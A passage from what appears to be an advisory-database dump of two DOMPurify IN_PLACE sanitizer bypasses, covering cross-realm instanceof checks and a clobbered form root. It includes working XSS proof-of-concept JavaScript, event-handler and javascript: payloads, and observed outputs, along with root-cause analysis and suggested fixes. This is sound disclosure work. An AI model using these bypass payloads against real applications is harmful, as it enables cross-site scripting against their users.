 );\n};\n```\n\nA foreign-realm `\u003cform\u003e` is an instance of the foreign realm's `HTMLFormElement`, not the parent realm's. The leading `instanceof` short-circuits to `false`, so `_isClobbered` returns `false` regardless of the named-property clobbering present on the form. The follow-on `_sanitizeAttributes` then iterates `currentNode.attributes` — which itself can be a clobbered value (a foreign-realm `\u003cinput\u003e` whose `name=\"attributes\"` shadows the form's real `NamedNodeMap`). The attribute walk traverses the wrong collection and never reaches the actual `onmouseover` / `onclick` / `action=javascript:` attributes on the form root.\n\n### [B] — `_sanitizeShadowDOM` gates template recursion on `content instanceof DocumentFragment`\n\n`src/purify.ts:1660-1662`:\n\n```ts\nwhile ((shadowNode = shadowIterator.nextNode())) {\n  ...\n  _sanitizeElements(shadowNode);\n  _sanitizeAttributes(shadowNode);\n  /* Deep shadow DOM detected */\n  if (shadowNode.content instanceof DocumentFragment) {   // [B] realm-bound\n    _sanitizeShadowDOM(shadowNode.content);\n  }\n}\n```\n\nThe same check exists in the main iterator at `:1861-1862`:\n\n```ts\nif (currentNode.content instanceof DocumentFragment) {     // [B'] realm-bound\n  _sanitizeShadowDOM(currentNode.content);\n}\n```\n\nFor a `\u003ctemplate\u003e` element constructed in a foreign realm, `template.content` is a `DocumentFragment` from that realm — not from the parent realm. Both checks miss it, and the template's contents (which carry attacker-controlled `\u003cimg src=x onerror=...\u003e` etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does `node.cloneNode(true)` / `importNode(template.content, true)` / inserts it into the live DOM, the embedded handler fires.\n\n### [C] — `_sanitizeAttachedShadowRoots` gates recursion on `sr instanceof DocumentFragment`\n\n`src/purify.ts:1702-1712`:\n\n```ts\nif (nodeType === NODE_TYPE.element) {\n  const sr = getShadowRoot\n    ? getShadowRoot(root)\n    : (root as Element).shadowRoot;\n  if (sr instanceof DocumentFragment) {                    // [C] realm-bound\n    _sanitizeAttachedShadowRoots(sr);\n    _sanitizeShadowDOM(sr);\n  }\n}\n```\n\nFor a host element constructed in a foreign realm with `host.attachShadow({mode:'open'})`, `host.shadowRoot` is a foreign-realm `ShadowRoot` (which extends the foreign realm's `DocumentFragment`). The `instanceof DocumentFragment` against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.\n\n### The mismatch\n\nDOMPurify *accepts* foreign-realm nodes for sanitization (the entry-point's `_isNode(dirty)` at `:1750` is realm-agnostic — it checks shape, not constructor identity), so callers reasonably expect that the library's downstream defenses are equally realm-agnostic. They are not. `[A]` / `[B]` / `[C]` each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., `nodeType === 11` for `DocumentFragment`, tag-name comparison for `HTMLFormElement` recognition).\n\n## Proof of concept\n\nEach PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm `DOMPurify.sanitize(node, { IN_PLACE: true })` and verifies that handler execution succeeds on subsequent activation.\n\n### PoC 1 — cross-realm form clobbering survives\n\n```js\nconst iframe = document.createElement('iframe');\niframe.srcdoc = '\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e';\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const div = idoc.createElement('div'); div.id = 'dirty';\n  const form = idoc.createElement('form');\n  form.setAttribute('onmouseover',\n    'window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1');\n  const inp = idoc.createElement('input');\n  inp.setAttribute('name', 'attributes');                  // clobbers form.attributes\n  form.appendChild(inp);\n  div.appendChild(form);\n\n  DOMPurify.sanitize(div, { IN_PLACE: true });\n\n  window.__dompurify_xss = 0;\n  document.body.appendChild(div);\n  form.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));\n  // window.__dompurify_xss === 1\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved (Chromium 148, DOMPurify 3.4.5, HEAD `89da34e`):\n\n```json\n{\n  \"sanitizeError\": null,\n  \"before\": {\n    \"formIsMainRealmHTMLFormElement\": false,\n    \"formIsForeignRealmHTMLFormElement\": true,\n    \"formAttributesType\": \"[object HTMLInputElement]\",\n    \"formAttributesEqualsInput\": true\n  },\n  \"after\": {\n    \"html\": \"\u003cdiv id=\\\"dirty\\\"\u003e\u003cform onmouseover=\\\"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\\\"\u003e\u003cinput\u003e\u003c/form\u003e\u003c/div\u003e\",\n    \"formOnmouseover\": \"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\n### PoC 2 — cross-realm `\u003ctemplate\u003e` content is never walked\n\n```js\nconst iframe = document.createElement('iframe');\niframe.srcdoc = '\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e';\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const div = idoc.createElement('div');\n  const tpl = idoc.createElement('template');\n  tpl.innerHTML = '\u003cimg src=\"x\" onerror=' +\n    '\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\"\u003e';\n  div.appendChild(tpl);\n\n  DOMPurify.sanitize(div, { IN_PLACE: true });\n\n  window.__dompurify_template_xss = 0;\n  const clone = idoc.importNode(tpl.content, true);\n  document.body.appendChild(clone);                        // fires onerror\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved:\n\n```json\n{\n  \"before\": {\n    \"templateIsMainRealmHTMLTemplateElement\": false,\n    \"contentIsMainRealmDocumentFragment\": false,\n    \"contentIsForeignRealmDocumentFragment\": true\n  },\n  \"after\": {\n    \"templateInnerHTMLAfter\": \"\u003cimg src=\\\"x\\\" onerror=\\\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\\\"\u003e\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\n### PoC 3 — cross-realm attached shadow root is never walked\n\n```js\nconst iframe = document.createElement('iframe');\niframe.srcdoc = '\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e';\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const host = idoc.createElement('div');\n  host.attachShadow({ mode: 'open' }).innerHTML =\n    '\u003cimg src=x onerror=\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\"\u003e\u003cb\u003esafe text\u003c/b\u003e';\n\n  DOMPurify.sanitize(host, { IN_PLACE: true });\n\n  window.__dompurify_shadow_xss = 0;\n  document.body.appendChild(host);                          // shadow activates, onerror fires\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved:\n\n```json\n{\n  \"before\": {\n    \"hostIsMainRealmElement\": false,\n    \"shadowRootIsMainRealmDocumentFragment\": false,\n    \"shadowRootIsForeignRealmDocumentFragment\": true\n  },\n  \"after\": {\n    \"shadowRootInnerHTMLAfter\": \"\u003cimg src=\\\"x\\\" onerror=\\\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\\\"\u003e\u003cb\u003esafe text\u003c/b\u003e\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\nAll three PoCs run cleanly against `dist/purify.js` built from current `main` HEAD `89da34e`.\n\n## Impact\n\n### Direct\n\nAny application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for `\u003cbase href\u003e` isolation, `document.write` sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with `IN_PLACE: true` is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in:\n\n- **Form root attributes** — `onmouseover`, `onfocus`, `onclick`, `action=\"javascript:...\"`, `formaction=`, `target=`, `id=` (DOM-clobbering target), and the full attribute-allowlist set, because `_sanitizeAttributes` walks a clobbered `.attributes` instead of the real `NamedNodeMap`.\n- **`\u003ctemplate\u003e` content** — `\u003cimg onerror\u003e`, `\u003csvg\u003e\u003cscript\u003e`, `\u003ciframe srcdoc\u003e`, etc., because the inert template tree is never recursed into.\n- **Attached shadow roots** — any markup inside the shadow root, because the shadow walk is skipped entirely.\n\nXSS triggers when the consuming code:\n- Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus).\n- Clones template content with `importNode` / `cloneNode(true)` / `node.appendChild(template.content)` into the live DOM.\n- Appends the shadow host to the live document (the shadow root becomes active and `\u003cimg onerror\u003e` fires synchronously during the insertion microtask).\n\n### Indirect / second-order\n\n- **DOM-based template engines** (Lit, Polymer, Vue, FAST) that often use foreign-realm `\u003ctemplate\u003e` parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped.\n- **Editor / WYSIWYG frameworks** that render preview content inside a same-origin iframe and then move it into the main document after sanitization.\n- **Email/HTML preview libraries** that parse received HTML in an isolated iframe to neutralize CSS / `\u003cbase\u003e` / form submission, then sanitize via the main page's DOMPurify.\n- **Declarative shadow DOM consumers** that adopt a host from one realm into another — the shadow subtree carries the bypass.\n\nThe known prior IN_PLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound `instanceof` checks at `[A]`, `[B]`, `[C]`; current `main` HEAD is still affected.\n\n## Root cause\n\nPer-realm constructors. `instanceof X` checks the prototype chain against the parent realm's `X.prototype`. Foreign-realm objects have a different `X.prototype` and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for `IN_PLACE` sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: *\"we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root.\"*\n\nOther realm-bound `instanceof` sites in the same file that should likely be audited as part of the same fix sweep:\n\n```ts\nelement instanceof HTMLFormElement     // src/purify.ts:1122\nelement.attributes instanceof NamedNodeMap  // src/purify.ts:1126\nsr instanceof DocumentFragment         // src/purify.ts:1706\ncurrentNode.content instanceof DocumentFragment  // src/purify.ts:1861\nshadowNode.content instanceof DocumentFragment   // src/purify.ts:1660 (approx)\ncurrentNode instanceof Element         // src/purify.ts:1296 (callsite of _checkValidNamespace)\n```\n\n## Suggested fix\n\nUse realm-independent shape checks consistently for any decision made on a node accepted from `IN_PLACE`:\n\n1. **`HTMLFormElement` detection** — compare via the realm-independent `getNodeName` cached prototype getter introduced for the recent shadow-root traversal hardening:\n\n   ```ts\n   const _isClobbered = function (element: Element): boolean {\n     const nn = getNodeName ? getNodeName(element) : element.nodeName;\n     if (typeof nn !== 'string' || transformCaseFunc(nn) !== 'form') return false;\n     // ... rest of the typeof / cached-getter shape checks ...\n   };\n   ```\n\n2. **`DocumentFragment` detection** — `nodeType === NODE_TYPE.documentFragment` (i.e., `11`), not `instanceof DocumentFragment`. The check is already realm-independent because `Node.nodeType` is a numeric constant. Same change for the `\u003ctemplate\u003e`-content and attached-shadow-root recursion sites.\n\n3. **`NamedNodeMap` detection** — read `element.attributes` via the cached `Element.prototype.attributes` getter (introduce `getAttributes = lookupGetter(ElementPrototype, 'attributes')`) and verify `nodeType === 11`-style shape (length is a number, indexed `[i]` returns objects with `.name`/`.value` strings). Do not rely on `instanceof NamedNodeMap`.\n\n4. **`Element` detection** at `:1296` — replace `currentNode instanceof Element` with a shape check (`getNodeType(currentNode) === NODE_TYPE.element`).\n\nThe invariant the fix should encode: *once `IN_PLACE` accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe.* The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-15T19:56:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-hpcv-96wg-7vj8","https://github.com/advisories/GHSA-hpcv-96wg-7vj8"],"source_kind":"github","identifiers":["GHSA-hpcv-96wg-7vj8","CVE-2026-49458"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T20:00:08.213Z","updated_at":"2026-08-16T04:02:15.930Z","epss_percentage":0.00384,"epss_percentile":0.31548,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocGN2LTk2d2ctN3ZqOM4ABYr2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocGN2LTk2d2ctN3ZqOM4ABYr2","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.6","vulnerable_version_range":"\u003c= 3.4.5"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocGN2LTk2d2ctN3ZqOM4ABYr2/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yNDdnLWZ2aHItaDY3Ns4ABYr1","url":"https://github.com/advisories/GHSA-r47g-fvhr-h676","title":"DOMPurify: IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM","description":"# IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM\n\n**CWE**: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — silent no-op when `_forceRemove` is called on a parent-less node)\n\n## Summary\n\nWhen `DOMPurify.sanitize(root, { IN_PLACE: true })` is called and `root` is a `\u003cform\u003e` whose own attributes carry an event handler (`onmouseover`, `onfocus`, `onclick`, etc.), a single descendant element with a `name=` attribute matching any of the property names `_isClobbered` checks (`nodeName`, `setAttribute`, `namespaceURI`, `insertBefore`, `hasChildNodes`, `childNodes`) is sufficient to bypass attribute sanitization on the root. `_forceRemove` silently no-ops because the root has no parent; the iterator drives on to `_sanitizeAttributes`, which early-returns on clobbered nodes — and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live.\n\nThis affects current `main` at `89da34e` (the just-landed DOM-clobbering hardening fix at `89da34e` addressed `_sanitizeAttachedShadowRoots` walk traversal, **not** the main `_sanitizeElements` / `_sanitizeAttributes` pipeline against the iterator-root node).\n\n## Affected\n\n- DOMPurify ≤ 3.4.5, including `main` at `89da34e03ec17868e561f87f3747a9371b61a9e7`\n- Any caller that does `DOMPurify.sanitize(node, { IN_PLACE: true })` where `node` is built from untrusted HTML (e.g., parsed via `createElement('template').innerHTML = dirty` then `template.content.firstElementChild` handed in)\n\nNot affected:\n- String-input `DOMPurify.sanitize(dirtyString)` — the library builds the DOM itself inside `_initDocument`, the root is the cleanly-created document body, and clobber-named children of the body cannot shadow `body` named properties (HTMLBodyElement does not carry `[LegacyOverrideBuiltIns]`)\n- IN_PLACE where the root is not an HTMLFormElement\n- IN_PLACE where the attacker cannot place a clobber-named child inside the root\n\n## Vulnerability details\n\n### Code paths\n\n**[A]** — `_forceRemove` at `src/purify.ts:930-939`:\n\n```ts\nconst _forceRemove = function (node: Node): void {\n  arrayPush(DOMPurify.removed, { element: node });\n  try {\n    // eslint-disable-next-line unicorn/prefer-dom-node-remove\n    getParentNode(node).removeChild(node);   // [A1] throws when getParentNode returns null\n  } catch (_) {\n    remove(node);                             // [A2] WebIDL Node.remove() — spec-defined no-op\n  }                                           //      when the node has no parent\n};\n```\n\nWhen the iterator-root has no parent (the standard IN_PLACE case where the caller hands in a detached node), `getParentNode(node)` returns `null`, `null.removeChild(node)` throws, the catch falls to `remove(node)` — which per WebIDL is `Element.prototype.remove.call(node)`, and per spec **does nothing if the node has no parent**. Nothing about `_forceRemove`'s contract acknowledges this — the function appears to its callers as \"the node is gone now,\" but the node is still in place.\n\n**[B]** — `_sanitizeAttributes` at `src/purify.ts:1490-1492`:\n\n```ts\nconst _sanitizeAttributes = function (currentNode: Element): void {\n  _executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);\n\n  const { attributes } = currentNode;\n\n  /* Check if we have attributes; if not we might have a text node */\n  if (!attributes || _isClobbered(currentNode)) {\n    return;                                   // [B] silently skips ALL attribute checks\n  }                                           //     for clobbered nodes\n  ...\n};\n```\n\nThe skip at `[B]` is deliberate — the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is *\"if `_isClobbered`, then `_sanitizeElements` already removed this node, so we will never reach `_sanitizeAttributes` on it.\"* That invariant holds for every non-root node (their `_forceRemove` succeeds in detaching them), but fails for the iterator root in IN_PLACE mode.\n\n**The mismatch** is between [A] and [B]: [A] assumes \"removal\" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make `_forceRemove` fail loudly on parent-less nodes (so the caller can bail out of IN_PLACE entirely) or have `_sanitizeAttributes` strip attributes from clobbered roots before returning.\n\n### Iterator call site\n\n`src/purify.ts:1850-1864` ignores the boolean return value of `_sanitizeElements`:\n\n```ts\nconst nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body);\n\nwhile ((currentNode = nodeIterator.nextNode())) {\n  _sanitizeElements(currentNode);       // returns `true` if killed — IGNORED\n  _sanitizeAttributes(currentNode);     // runs unconditionally; relies on [B]'s skip\n  ...\n}\n```\n\nIf the return value were checked and `_sanitizeAttributes` skipped when the node was \"killed,\" the bug would not exist as a discrete issue — but currently `_sanitizeAttributes` is the only line of defense for a node that `_sanitizeElements` could not actually detach.\n\n### Why the clobber works\n\nIn Chromium/WebKit/Firefox, `HTMLFormElement` carries the WebIDL `[LegacyOverrideBuiltIns]` extended attribute on its named-property getter. A descendant element with `name=\"X\"` (or `id=\"X\"`, for radio-button-like names) shadows the matching property on the form, including properties inherited from `Element`, `Node`, and `EventTarget` prototypes. This is the same primitive the just-landed `89da34e` fix addresses for shadow-root traversal, but `_isClobbered`'s typeof checks (and the bypass-by-detection-failure path here) are independent of that fix.\n\nVerified clobber targets (each name= value independently triggers `_isClobbered`):\n\n| `name=` value | property `_isClobbered` checks | typeof on clobbered form |\n|---|---|---|\n| `nodeName` | `typeof element.nodeName !== 'string'` | object (an `\u003cINPUT\u003e`) |\n| `setAttribute` | `typeof element.setAttribute !== 'function'` | object (not callable) — *but* `\u003cembed\u003e`/`\u003capplet\u003e`/`\u003ciframe\u003e` ARE callable; see \"Note on callable elements\" below |\n| `namespaceURI` | `typeof element.namespaceURI !== 'string'` | object |\n| `insertBefore` | `typeof element.insertBefore !== 'function'` | object |\n| `hasChildNodes` | `typeof element.hasChildNodes !== 'function'` | object |\n| `childNodes` | `!(element.childNodes \u0026\u0026 typeof element.childNodes.length === 'number')` | object — `\u003cINPUT\u003e` has no `.length` |\n| `attributes` | `!(element.attributes instanceof NamedNodeMap)` | object (an `\u003cINPUT\u003e` is not a NamedNodeMap) |\n| `textContent` | `typeof element.textContent !== 'string'` | object |\n| `removeChild` | `typeof element.removeChild !== 'function'` | object (non-callable) |\n| `removeAttribute` | `typeof element.removeAttribute !== 'function'` | object (non-callable) |\n\nAny single one of the ten property names in `_isClobbered`'s checklist is sufficient as the bypass trigger.\n\n## Proof of concept\n\n### (1) Minimal — runnable in a single browser context\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cscript src=\"dist/purify.js\"\u003e\u003c/script\u003e\n\u003cscript\u003e\n  const root = document.createElement('form');\n  root.setAttribute('onmouseover', 'window.__rooted = 1');\n  const clobber = document.createElement('input');\n  clobber.setAttribute('name', 'nodeName');\n  root.appendChild(clobber);\n\n  // typeof root.nodeName === 'object' (an \u003cINPUT\u003e element), not 'string'.\n  // _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null.\n  DOMPurify.sanitize(root, { IN_PLACE: true });\n\n  console.log('output:', root.outerHTML);\n  // \u003cform onmouseover=\"window.__rooted = 1\"\u003e\u003cinput name=\"nodeName\"\u003e\u003c/form\u003e\n  //  ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^\n\n  document.body.appendChild(root);\n  root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));\n  console.log('handler fired:', window.__rooted === 1);  // true\n\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n### (2) End-to-end — Playwright against `main` HEAD\n\n```js\nconst { chromium } = require('playwright');\nconst path = require('path');\n\n(async () =\u003e {\n  const browser = await chromium.launch();\n  const page = await browser.newPage();\n  await page.setContent('\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e');\n  await page.addScriptTag({ path: path.resolve('dist/purify.js') });\n\n  const result = await page.evaluate(() =\u003e {\n    const root = document.createElement('form');\n    root.setAttribute('onmouseover', 'window.__rooted = 1');\n    const clobber = document.createElement('input');\n    clobber.setAttribute('name', 'nodeName');\n    root.appendChild(clobber);\n\n    DOMPurify.sanitize(root, { IN_PLACE: true });\n\n    document.body.appendChild(root);\n    window.__rooted = 0;\n    root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));\n\n    return {\n      version: DOMPurify.version,\n      output: root.outerHTML,\n      handlerFired: window.__rooted === 1,\n    };\n  });\n  console.log(result);\n  await browser.close();\n})();\n```\n\nObserved (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD `89da34e`):\n\n```\n{\n  version: '3.4.5',\n  output: '\u003cform onmouseover=\"window.__rooted = 1\"\u003e\u003cinput name=\"nodeName\"\u003e\u003c/form\u003e',\n  handlerFired: true\n}\n```\n\n### (3) Variant matrix — six distinct clobber-target properties\n\nEvery property name in `_isClobbered`'s typeof checklist works as the bypass trigger:\n\n```\n[BYPASS] name=\"nodeName\"      → \u003cform onmouseover=\"…\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"setAttribute\"  → \u003cform onmouseover=\"…\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"namespaceURI\"  → \u003cform onmouseover=\"…\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"insertBefore\"  → \u003cform onmouseover=\"…\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"hasChildNodes\" → \u003cform onmouseover=\"…\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"childNodes\"    → \u003cform onmouseover=\"…\"\u003e\u003cinput\u003e\u003c/form\u003e\n```\n\nThis makes the fix less of a one-line patch — every property `_isClobbered` checks for the typeof-spoofing pattern needs to be considered.\n\n## Impact\n\n### Direct\n\nTwo distinct impact paths from the same root-attribute-survival primitive:\n\n**(a) XSS via event-handler attribute on the surviving root.** Any consumer that uses `DOMPurify.sanitize(node, { IN_PLACE: true })` where `node` originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is:\n\n```js\nconst t = document.createElement('template');\nt.innerHTML = untrustedHtml;\nDOMPurify.sanitize(t.content.firstElementChild, { IN_PLACE: true });\ncontainer.appendChild(t.content.firstElementChild);\n```\n\nIf `untrustedHtml` is `\u003cform onmouseover=…\u003e\u003cinput name=nodeName\u003e…\u003c/form\u003e`, the resulting node has the `onmouseover` attribute intact when re-inserted into the live document.\n\n**(b) Every attribute-level defense is bypassed on the surviving root, not just event handlers.** The `_sanitizeAttributes` early-return at `:1490` skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive:\n\n- **`action=\"javascript:...\"` and `formaction=\"javascript:...\"`** — URI validation at `:1413` never runs. A user click on a submit button inside the sanitized form navigates to the `javascript:` URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented.\n- **`id=\"\u003ccolliding-name\u003e\"`** — the DOM-clobbering guard at `:1352-1359` (`SANITIZE_DOM \u0026\u0026 (lcName === 'id' || lcName === 'name') \u0026\u0026 (value in document || value in formElement)`) lives inside `_sanitizeAttributes` and is skipped. An attacker can therefore land `id=\"cookie\"`, `id=\"body\"`, `id=\"head\"`, `id=\"firstChild\"`, etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that does `document.cookie`, `document.body`, etc.\n- **`target=\"_top\"`**, **`autofocus`**, **`formenctype`**, **`formmethod`** — all survive untouched.\n- **Custom event handlers DOMPurify wouldn't have explicit list entries for** (e.g., newly-spec'd `oncontentvisibilityautostatechange`) survive on the clobbered root via the same skip; the per-name allow-list at `:1361-1364` never runs.\n\nVerified — full attribute set survives on a single payload (PoC):\n\n```js\nconst root = document.createElement('form');\nroot.setAttribute('action', 'javascript:alert(1)');\nroot.setAttribute('target', '_top');\nroot.setAttribute('onclick', 'alert(2)');\nroot.setAttribute('onmouseover', 'alert(3)');\nroot.setAttribute('autofocus', '');\nroot.setAttribute('formaction', 'javascript:alert(4)');\nroot.setAttribute('id', 'cookie');           // DOM-clobbering primitive\nroot.innerHTML += '\u003cinput name=\"nodeName\"\u003e';\nDOMPurify.sanitize(root, { IN_PLACE: true });\nconsole.log(root.outerHTML);\n// \u003cform action=\"javascript:alert(1)\" target=\"_top\" onclick=\"alert(2)\"\n//       onmouseover=\"alert(3)\" autofocus=\"\" formaction=\"javascript:alert(4)\"\n//       id=\"cookie\"\u003e\u003cinput\u003e\u003c/form\u003e\n```\n\n**(c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE — the clobber is sticky.** Chromium's `HTMLFormElement` named-property cache appears to retain the named child reference even after the child's `name` attribute is removed during the sanitization pass. Empirically verified — after the first sanitize pass, the input's `name=\"nodeName\"` attribute is correctly stripped (the output shows `\u003cinput\u003e` with no attributes), yet `typeof form.nodeName === 'object'` is still true and the input element is still returned. Calling `DOMPurify.sanitize(sameNode, { IN_PLACE: true })` a second time hits the same `_isClobbered` → `_forceRemove` → `_sanitizeAttributes` early-return path. The only effective recovery is serialize-then-reparse:\n\n```js\nconst root = parseAttackerHtml();                                     // form with input name=\"nodeName\" child\nDOMPurify.sanitize(root, { IN_PLACE: true });                         // bypass: attrs survive\nDOMPurify.sanitize(root, { IN_PLACE: true });                         // STILL bypassed: attrs survive\nconst recovered = (() =\u003e {\n  const t = document.createElement('template');\n  t.innerHTML = root.outerHTML;                                       // forces a fresh parse\n  const r = t.content.firstElementChild;\n  DOMPurify.sanitize(r, { IN_PLACE: true });\n  return r;\n})();\n// recovered.outerHTML === '\u003cform\u003e\u003cinput\u003e\u003c/form\u003e'  ← finally clean\n```\n\nA \"belt-and-suspenders\" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip.\n\n**(d) SAFE_FOR_TEMPLATES bypass for the root's attributes.** When the caller sets `SAFE_FOR_TEMPLATES: true` to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, …) from receiving `{{…}}` / `\u003c%…%\u003e` / `${…}` syntax through DOMPurify's output, attribute-level template-syntax stripping runs in the same `_sanitizeAttributes` pass that early-returns on clobbered roots (`:1572-1576`). The root's attributes therefore retain raw template syntax that the downstream engine then evaluates.\n\nVerified — same PoC structure, with `SAFE_FOR_TEMPLATES: true`:\n\n```js\nconst root = document.createElement('form');\nroot.setAttribute('title', '{{evil}}');\nroot.setAttribute('onmouseover', 'window.__x=1');\nconst c = document.createElement('input');\nc.setAttribute('name', 'nodeName');\nroot.appendChild(c);\n\nDOMPurify.sanitize(root, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });\n\nconsole.log(root.outerHTML);\n// \u003cform title=\"{{evil}}\" onmouseover=\"window.__x=1\"\u003e\u003cinput\u003e\u003c/form\u003e\n//        ^^^^^^^^^^^^^^^^ template syntax survives\n```\n\nThis compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed).\n\n(Text-node content inside the form is still scrubbed correctly — `_scrubTemplateExpressions` at `:1868-1870` walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.)\n\n### Indirect / second-order\n\n- **DOM-based template systems / editors** that wrap DOMPurify with an IN_PLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML).\n- **Email/HTML preview libraries** that pre-parse received HTML before sanitization for performance reasons.\n- **Frameworks that hand DOMPurify a node tree** rather than a string — including, indirectly, any code path that does `el.innerHTML = …; DOMPurify.sanitize(el, { IN_PLACE: true })`. The outer `el` is fine (it's not the form), but if the *first child* of `el` is taken as the sanitization root in a different code path, the bypass triggers.\n\n### Why current `main` is also vulnerable\n\nCommit `89da34e` (\"fix: fixed a possible DOM clobbering with IN_PLACE and shadow DOM\") hardens `_sanitizeAttachedShadowRoots` via three new cached prototype getters (`getShadowRoot`, `getNodeName`, `getNodeType`) and an `_isClobbered` extension that checks `element.childNodes.length`. The fix is correct for its scope — shadow-root traversal — but does not change `_forceRemove`'s parent-less-node behavior or `_sanitizeAttributes`'s clobber-skip early-return. The bypass demonstrated here is in the IN_PLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD `89da34e` and still succeeds.\n\n## Suggested fix\n\nTwo minimal-risk options:\n\n1. **Make `_forceRemove` honest about failure**: return whether the node was actually detached, and have the iterator call site honor that.\n\n   ```ts\n   const _forceRemove = function (node: Node): boolean {\n     arrayPush(DOMPurify.removed, { element: node });\n     try {\n       getParentNode(node).removeChild(node);\n       return true;\n     } catch (_) {\n       try { remove(node); } catch (_) {}\n       return node.parentNode === null \u0026\u0026 /* but still attached to itself */ false;\n     }\n   };\n   ```\n   Then at `:1855`, if `_sanitizeElements` returns true AND IN_PLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects — sanitization either succeeds or refuses to return a \"sanitized\" handle to an unsanitized tree.)\n\n2. **Strip attributes inside `_sanitizeAttributes` for clobbered roots**: when `_isClobbered(currentNode)` is true at `:1490`, instead of early-returning, iterate `currentNode.attributes` (using the cached `getAttributes` if you add one) and remove each via `removeAttribute`. This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC'd anyway) and removes the attack 